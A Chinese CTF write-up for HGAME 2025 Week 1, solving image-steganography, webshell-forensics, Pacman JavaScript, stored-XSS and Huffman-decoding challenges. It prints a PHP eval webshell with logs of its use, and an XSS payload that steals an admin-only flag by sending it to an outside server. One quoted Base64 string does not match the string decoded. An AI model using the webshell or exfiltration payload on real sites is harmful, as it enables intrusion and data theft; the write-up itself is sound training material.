HGAME2025-Week1-WP

队伍名：gcssjcsa，队伍ID：0x000011

Misc

Hakuya Want A Girl Friend

附件 `hky.txt` 内容是一个二进制文件字节的十六进制表示，复制到010 Editor，根据文件头 `50 4B 03 04` 另存为zip文件，发现压缩包结束尾之后仍有大量数据。根据最后的 `47 4E 50 89` ，对应字符为 `GNP‰` ，可以判断附带的数据是逆字节序的PNG文件。分离数据，使用脚本把字节序倒回来，得到一个PNG文件，010打开发现CRC校验不匹配，猜测是图片高度被改变，将高度数据调大，保存图片，在图片下方得到压缩包密码 `To_f1nd_th3_QQ` ，解压 `flag.txt` 即得**flag**

`hgame{h4kyu4_w4nt_gir1f3nd_+q_931290928}`

Computer cleaner

下载附件，在VMware打开，终端中执行以下命令

```
vidar@vidar-computer:~$ cd /var/www/html/
vidar@vidar-computer:/var/www/html$ ls -al
total 28
drwxr-xr-x 3 root root 4096  1月 18 22:36 .
drwxr-xr-x 3 root root 4096  1月 18 00:14 ..
-rw-r--r-- 1 root root   23  1月 18 22:31 index.html
-rw-r--r-- 1 root root  480  1月 18 00:21 upload.html
-rw-rw-rw- 1 root root 1949  1月 18 22:36 upload_log.txt
-rw-r--r-- 1 root root 1138  1月 18 00:21 upload.php
drwxrwxrwx 2 root root 4096  1月 18 22:17 uploads
vidar@vidar-computer:/var/www/html$ cat ./uploads/shell.php
<?php @eval($_POST['hgame{y0u_']);?>
vidar@vidar-computer:/var/www/html$ cat upload_log.txt
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET / HTTP/1.1" 200 1024 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET /upload HTTP/1.1" 200 1024 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:15 +0000] "POST /upload HTTP/1.1" 200 512
"http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:20 +0000] "POST /upload HTTP/1.1" 200 1024
"http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:35 +0000] "POST /upload HTTP/1.1" 200 1024
"http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:50 +0000] "POST /upload HTTP/1.1" 200 1030
"http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:55 +0000] "GET /uploads/shell.php HTTP/1.1"
200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:00 +0000] "GET /uploads/shell.php?cmd=ls
HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:05 +0000] "GET /uploads/shell.php?
cmd=cat%20~/Documents/flag_part3 HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
Safari/537.36"
vidar@vidar-computer:/var/www/html$ cat ~/Documents/flag_part3
_c0mput3r!}
```

找到flag1 `hgame{y0u_` （webshell连接密码）和flag3 `_c0mput3r!}` （攻击者目的）
`121.41.34.25` 为攻击者IP，在浏览器访问得到flag2 `hav3_cleaned_th3` （对攻击者进行简单溯源）

flag `hgame{y0u_hav3_cleaned_th3_c0mput3r!}`

Web

Level 24 Pacman

`index.js`中找到以下代码

`_0x413b57['fillText']('here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==', this['x'], this['y'] + 0x28),`

Base64解码 `aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=` 得到 `haeu4epca_4trgm{_r_amnmse}` ，为栅栏密码，栏数为2，解密得到**flag** `hgame{u_4re_pacman_m4ster}`

Level 69 MysteryMessageBoard

登录用户名为shallot，密码爆破得到888888。结合源码得知该题应利用xss，编写如下代码，使admin带出flag发到攻击者服务器上。

```
1</li><script>
fetch('/flag')
  .then(response => response.text())
  .then(flag => {
    fetch('https://flag.gcssjcsa.top/?flag=' + encodeURIComponent(flag))
  })
</script><li>2
```

提交评论，访问/admin，在服务器查看**flag** `hgame{W0w_y0u_5r4_9o0d_4t_xss}`

Re

Compress dot new

内容由 AI 生成，请仔细甄别

```
# decompress.py
import json

class HuffmanNode:
    def __init__(self, left=None, right=None, value=None):
        self.left = left
        self.right = right
        self.value = value

def parse_tree(data):
    if 's' in data:
        return HuffmanNode(value=data['s'])
    else:
        a = parse_tree(data['a']) if 'a' in data else None
        b = parse_tree(data['b']) if 'b' in data else None
        return HuffmanNode(left=a, right=b)

def decode_huffman(encoded_bits, root):
    current_node = root
    result = bytearray()
    for bit in encoded_bits:
        if bit == '0':
            current_node = current_node.left
        else:
            current_node = current_node.right
        if current_node.value is not None:
            result.append(current_node.value)
            current_node = root
    if current_node != root:
        raise ValueError("Invalid encoded bits")
    return bytes(result)

def main():
    with open('enc.txt', 'r') as f:
        tree_json, encoded_bits = f.read().split('\n', 1)

    tree_data = json.loads(tree_json)
    root = parse_tree(tree_data)

    decoded_bytes = decode_huffman(encoded_bits.strip(), root)

    with open('flag.txt', 'wb') as out_file:
        out_file.write(decoded_bytes)

if __name__ == "__main__":
    main()
```

运行脚本得到flag.txt，内容如下

```
hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}
Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Nulla nec ligula neque. Etiam et viverra nunc, vel bibendum risus. Donec.
```

flag `hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}`